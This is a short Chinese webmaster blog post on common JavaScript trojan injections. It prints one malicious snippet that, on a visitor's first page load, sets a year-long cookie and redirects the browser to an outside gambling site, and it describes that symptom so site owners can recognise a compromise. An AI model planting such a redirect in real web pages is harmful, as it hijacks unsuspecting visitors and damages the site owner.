js常见挂马案例

  • 内容
  • 评论
  • 相关

一.案例案例1

var c = document.cookie;
     if (c.indexOf('isfirstvisited=false') != -1) {
        
     }
     else {
         var d = new Date();
         d.setFullYear(d.getFullYear() + 1);
         document.cookie = 'isfirstvisited=false;expires=' + d.toGMTString();
         window.location.href='https://sdfhu1.com/33720.html';
     }
现象:第一次打开网页跳转到指定菠菜页面。

本文标签:

版权声明:若无特殊注明,本文皆为《菜鸟站长》原创,转载请保留文章出处。

本文链接:js常见挂马案例 - http://wlphp.com/?post=206

发表评论

电子邮件地址不会被公开。 必填项已用*标注